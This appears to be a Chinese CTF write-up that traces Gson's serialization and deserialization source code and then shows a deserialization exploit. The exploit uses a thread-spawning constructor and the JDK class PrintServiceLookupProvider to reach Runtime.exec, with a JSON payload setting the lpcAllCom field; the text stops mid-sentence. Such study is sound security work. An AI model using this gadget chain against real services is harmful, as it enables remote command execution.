概述 Gson 是⼀个 Java 库,可⽤于将 Java 对象转换为其 JSON 表⽰形式。它还可⽤于将 JSON 字符串转换为等效的 Java 对象
Gson 可以处理任意 Java 对象,包括您没有源代码的预先存在的对象
用户⼿册:https://github.com/google/gson/blob/main/UserGuide.md
环境 JDK:11.0.19 Gson:2.10.1
序列化和反序列化 使用 最主要的是使⽤Gson这个类,你可以通过new Gson()
来实例化这个类。还有⼀个 GsonBuilder类,可⽤于创建具有各种设置(如版本控制等)的 Gson 实例。
序列化 Gson 提供toJson⽅法来进⾏序列化 gson.toJson(new Person(“nivia”, “18”)) 反序列化 Gson提供fromJson⽅法来进⾏反序列化,它不像fastjson可以通过@type来判断实例化类 类型,Gson需要直接提供实例化类型的Clas作为类型判断
gson.fromJson("Json",Person.class)
源码分析 序列化 在前⾯,通过些许尝试就可以发现,Gson是通过实例化触发对应构造⽅法来构造 Json,这⾥作详细分析 这⾥测试的类直接⽤N1CTF中的Person类
gson.toJson(new Person("baicany", "18"))
1 2 3 4 5 6 public String toJson (Object src) { if (src == null ) { return toJson(JsonNull.INSTANCE); } return toJson(src, src.getClass()); }
先判断序列化对象是否为null,是null会给JsonNull这个对象,然后又进下个
如果不是,则会获取对应Class,然后调用另⼀个构造方法
跟进到另外一个构造方法方法
1 2 3 4 5 6 7 8 9 10 11 12 public void toJson (Object src, Type typeOfSrc, JsonWriter writer) throws JsonIOException { @SuppressWarnings("unchecked") TypeAdapter<Object> adapter = (TypeAdapter<Object>) getAdapter(TypeToken.get(typeOfSrc)); boolean oldLenient = writer.isLenient(); writer.setLenient(true ); boolean oldHtmlSafe = writer.isHtmlSafe(); writer.setHtmlSafe(htmlSafe); boolean oldSerializeNulls = writer.getSerializeNulls(); writer.setSerializeNulls(serializeNulls); try { adapter.write(writer, src); }
首先将对象类型Class封装进TypeToken对象后,调⽤ getAdapter⽅法获取TypeAdapter对象
跟进TypeAdapter对象
⾸先会去缓存中找,找到则直接返回对象
1 2 3 4 5 6 7 Objects.requireNonNull(type, "type must not be null" ); TypeAdapter<?> cached = typeTokenCache.get(type); if (cached != null ) { @SuppressWarnings("unchecked") TypeAdapter<T> adapter = (TypeAdapter<T>) cached; return adapter; }
往下这段,这个获取当前线程map,如果为null就创建一个hashmap,如果不为null,然后再获取我们尝试获取我们存在线程存储的class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Map<TypeToken<?>, TypeAdapter<?>> threadCalls = threadLocalAdapterResults.get(); boolean isInitialAdapterRequest = false ;if (threadCalls == null ) { threadCalls = new HashMap <>(); threadLocalAdapterResults.set(threadCalls); isInitialAdapterRequest = true ; } else { @SuppressWarnings("unchecked") TypeAdapter<T> ongoingCall = (TypeAdapter<T>) threadCalls.get(type); if (ongoingCall != null ) { return ongoingCall; }
下⾯进⾏threadLocalAdapterResults、threadCalls的存放
1 2 3 4 TypeAdapter<T> candidate = null ; try { FutureTypeAdapter<T> call = new FutureTypeAdapter <>(); threadCalls.put(type, call);
然后就遍历factories,也即TypeAdapterFactory的实现类,遍历触发create⽅法
1 2 3 4 5 6 7 8 9 10 for (TypeAdapterFactory factory : factories) { candidate = factory.create(this , type); if (candidate != null ) { call.setDelegate(candidate); threadCalls.put(type, candidate); break ; } } }
⽅法会返回⼀个TypeAdapter对象,跟进 ReflectiveTypeAdapterFactory对象其create⽅法
1 2 ObjectConstructor<T> constructor = constructorConstructor.get(type); return new FieldReflectionAdapter <>(constructor, getBoundFields(gson, type, raw, blockInaccessible, false ));
ConstructorConstructor#get⽅法下,会调⽤newDefaultConstructor⽅法
1 2 FilterResult filterResult = ReflectionAccessFilterHelper.getFilterResult(reflectionFilters, rawType);ObjectConstructor<T> defaultConstructor = newDefaultConstructor(rawType, filterResult);
用来获取无参数构造方法,如果用就会用无参数构造方法实例化
1 2 3 4 5 try { @SuppressWarnings("unchecked") T newInstance = (T) constructor.newInstance(); return newInstance; }
找不到则会往下调⽤newDefaultImplementationConstructor⽅法
ObjectConstructor<T> defaultImplementation = newDefaultImplementationConstructor(type, rawType);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 if (Collection.class.isAssignableFrom(rawType)) { if (SortedSet.class.isAssignableFrom(rawType)) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new TreeSet <>(); } }; } else if (Set.class.isAssignableFrom(rawType)) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new LinkedHashSet <>(); } }; } else if (Queue.class.isAssignableFrom(rawType)) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new ArrayDeque <>(); } }; } else { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new ArrayList <>(); } }; } } if (Map.class.isAssignableFrom(rawType)) { if (ConcurrentNavigableMap.class.isAssignableFrom(rawType)) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new ConcurrentSkipListMap <>(); } }; } else if (ConcurrentMap.class.isAssignableFrom(rawType)) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new ConcurrentHashMap <>(); } }; } else if (SortedMap.class.isAssignableFrom(rawType)) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new TreeMap <>(); } }; } else if (type instanceof ParameterizedType && !(String.class.isAssignableFrom( TypeToken.get(((ParameterizedType) type).getActualTypeArguments()[0 ]).getRawType()))) { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new LinkedHashMap <>(); } }; } else { return new ObjectConstructor <T>() { @Override public T construct () { return (T) new LinkedTreeMap <>(); } }; } } return null ; }
这里会判断是否是 map 集合等,是就会调用这些类的构造函数
再找不到,最后会调⽤newUnsafeAllocator⽅法
1 2 3 4 if (filterResult == FilterResult.ALLOW) { return newUnsafeAllocator(rawType); }
⽅法通过unsafe实例化对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private <T> ObjectConstructor<T> newUnsafeAllocator (final Class<? super T> rawType) { if (useJdkUnsafe) { return new ObjectConstructor <T>() { @Override public T construct () { try { @SuppressWarnings("unchecked") T newInstance = (T) UnsafeAllocator.INSTANCE.newInstance(rawType); return newInstance; } catch (Exception e) { throw new RuntimeException (("Unable to create instance of " + rawType + ". " + "Registering an InstanceCreator or a TypeAdapter for this type, or adding a no-args " + "constructor may fix this problem." ), e); } } }; }
上⾯的对象实例化均指ObjectConstructor被触发construct方法的时候
获取完ObjectConstructor后,先跟进getBoundFields⽅法
1 2 while (raw != Object.class) { Field[] fields = raw.getDeclaredFields();
⽅法通过反射获取所有字段
然后通过ReflectionHelper.makeAccessible⽅法修改权限
1 2 3 if (!blockInaccessible && accessor == null ) { ReflectionHelper.makeAccessible(field); }
然后获取属性类型和名字
1 2 Type fieldType = $Gson$Types.resolve(type.getType(), raw, field.getGenericType());List<String> fieldNames = getFieldNames(field);
然后通过createBoundField⽅法获取BoundField对象
1 2 3 4 5 6 7 8 for (int i = 0 , size = fieldNames.size(); i < size; ++i) { String name = fieldNames.get(i); if (i != 0 ) serialize = false ; BoundField boundField = createBoundField(context, field, accessor, name, TypeToken.get(fieldType), serialize, deserialize, blockInaccessible); BoundField replaced = result.put(name, boundField); if (previous == null ) previous = replaced; }
⽅法内同样会触发Gson#getAdapter⽅法
1 if (mapped == null ) mapped = context.getAdapter(fieldType);
这⾥的Adapter就像是序列化器⼀样,最后将将属性名跟对应的BoundField对象存放进result
1 2 type = TypeToken.get($Gson$Types.resolve(type.getType(), raw, raw.getGenericSuperclass())); raw = type.getRawType();
然后获取⽗类继续获取,返回result,将这个result封装进了FieldReflectionAdapter对象里,也就是上⼀层的candidate它作为返回值作为adapter对象
1 2 3 try { adapter.write(writer, src); }
调⽤write方法执行序列化,beginObject⽅法开始写⼊
1 2 3 4 5 6 7 8 9 10 11 public JsonWriter beginObject () throws IOException { writeDeferredName(); return open(EMPTY_OBJECT, '{' ); } private JsonWriter open (int empty, char openBracket) throws IOException { beforeValue(); push(empty); out.write(openBracket); return this ; }
先写{,再遍历boundField
1 2 3 4 5 try { for (BoundField boundField : boundFields.values()) { boundField.write(out, value); } }
调⽤其write⽅法,利⽤反射获取值
1 2 3 else { fieldValue = field.get(source); }
后续会在TypeAdapterRuntimeTypeWrapper触发delegate变量的write⽅法,这⾥的 delegate变量就是上⾯经过存放的adapter对象
1 2 3 4 5 6 7 8 9 public JsonWriter value (String value) throws IOException { if (value == null ) { return nullValue(); } writeDeferredName(); beforeValue(); string(value); return this ; }
其中writeDeferredName⽅法来写属性名,beforeValue加冒号,string(value)写值
总结:
⾸先是跟Adapter对象,自定义对象默认⽤FieldReflectionAdapter对象,然后属性 还原委派给TypeAdapterRuntimeTypeWrapper,它⼜会根据属性类型继续委派给对应 Adapter对象 序列化就是反射获取属性和值,然后写,过程并没有触发类的相关⽅法
反序列化 老样子先将Class封装进TypeToken,⼀直跟
1 2 3 4 5 6 try { reader.peek(); isEmpty = false ; TypeAdapter<T> typeAdapter = getAdapter(typeOfT); return typeAdapter.read(reader); }
这里又会获取getAdapter,就又会像之前一样获取构造器类,返会getAdapter类
然后调⽤的是FieldReflectionAdapter#read⽅法
A accumulator = createAccumulator();
⾸先调⽤createAccumulator⽅法
1 2 3 T createAccumulator () { return constructor.construct(); }
⽅法触发先前封装的ObjectConstructor对象的construct⽅法
也就是说,当对象所属类存在⽆参构造⽅法则通过⽆参构造⽅法进⾏实例化,否则通过 unsafe进⾏实例化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 try { in.beginObject(); while (in.hasNext()) { String name = in.nextName(); BoundField field = boundFields.get(name); if (field == null || !field.deserialized) { in.skipValue(); } else { readField(accumulator, in, field); } } catch (IllegalStateException e) { throw new JsonSyntaxException (e); } catch (IllegalAccessException e) { throw ReflectionHelper.createExceptionForUnexpectedIllegalAccess(e); } in.endObject(); return finalize(accumulator); }
紧接着为对象还原属性
最后通过反射为对象设置值
1 field.set(target, fieldValue);
漏洞利用 因为题目环境是19的,但是我是windows版的
利⽤unsafe的话会通过allocateInstance⽅法来实例化对象,这种实例化方式会⽆视构造方法直接实例化对象。
Hint:constructor → Runtim.getRuntime().exec()
1ue师傅提供了⼀种思路,⽆参构造⽅法如何想办法控制参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import java.io.IOException; public class Bean { private String name = "whoami" ; public Bean () { Thread thr = new Thread (() -> { while (true ){ try { Runtime.getRuntime().exec(name); } catch (IOException e) { throw new RuntimeException (e); } } }); thr.setDaemon(true ); thr.start(); } }
这个构造方法新建了⼀个线程,线程会反复执⾏外部参数的命令 在Gson反序列化中,会先执⾏这个构造⽅法,最后反射修改了Field后就能执⾏到恶意命 令 JDK11下,有⼀个sun.print.PrintServiceLookupProvider的类 我这里是windows版的,赛题是kali的
其无参构造方法会起2个线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public PrintServiceLookupProvider () { if (win32PrintLUS == null ) { win32PrintLUS = this ; Thread thr = new Thread (null , new PrinterChangeListener (), "PrinterListener" , 0 , false ); thr.setDaemon(true ); thr.start(); Thread remThr = new Thread (null , new RemotePrinterChangeListener (), "RemotePrinterListener" , 0 , false ); remThr.setDaemon(true ); remThr.start(); } }
默认win32PrintLUS
就是为null
这⾥实例化了⼀个PrinterChangeListener内部类作为target,最后执⾏Thread#strat⽅法
1 2 3 4 try { start0(); started = true ; }
方法会调⽤start0,start0是⼀个底层C实现的⽅法,他会触发Thread#run⽅法
1 2 3 4 5 public void run () { if (target != null ) { target.run(); } }
也就是执⾏PrinterChangeListener#run⽅法
1 2 3 4 5 6 private final class PrinterChangeListener implements Runnable { @Override public void run () { notifyLocalPrinterChange(); } }
发现会调用本地的方法
1 private native void notifyLocalPrinterChange () ;
而在linux中
pollServices默认为true 这⾥实例化了⼀个PrinterChangeListener内部类作为target,最后执⾏Thread#strat⽅法
跟上面一样会调用run方法
⽅法内同样⽤while true写死,调⽤refreshServices⽅法 CUPSPrinter.isCupsRunning⽅法指⽰CUPS是否正在运⾏。如果题⽬环境返回false,则 会⾛else语句
⽅法下会根据操作系统执⾏对应⽅法,Liunx下的话会调⽤getAllPrinterNamesBSD⽅法
⽅法下的execCmd会执⾏命令
1 proc=Runtime.getRuntime().exec(cmd);
这⾥这种利⽤思路同上述事例,这⾥会起⼀个内部类作为新线程,拼接外部类的成员变量 进⾏命令执⾏
1 2 3 4 5 6 { "lpcAllCom" : [ "shell" "shell" ] }
这⾥为什么要写两个,原因可能如下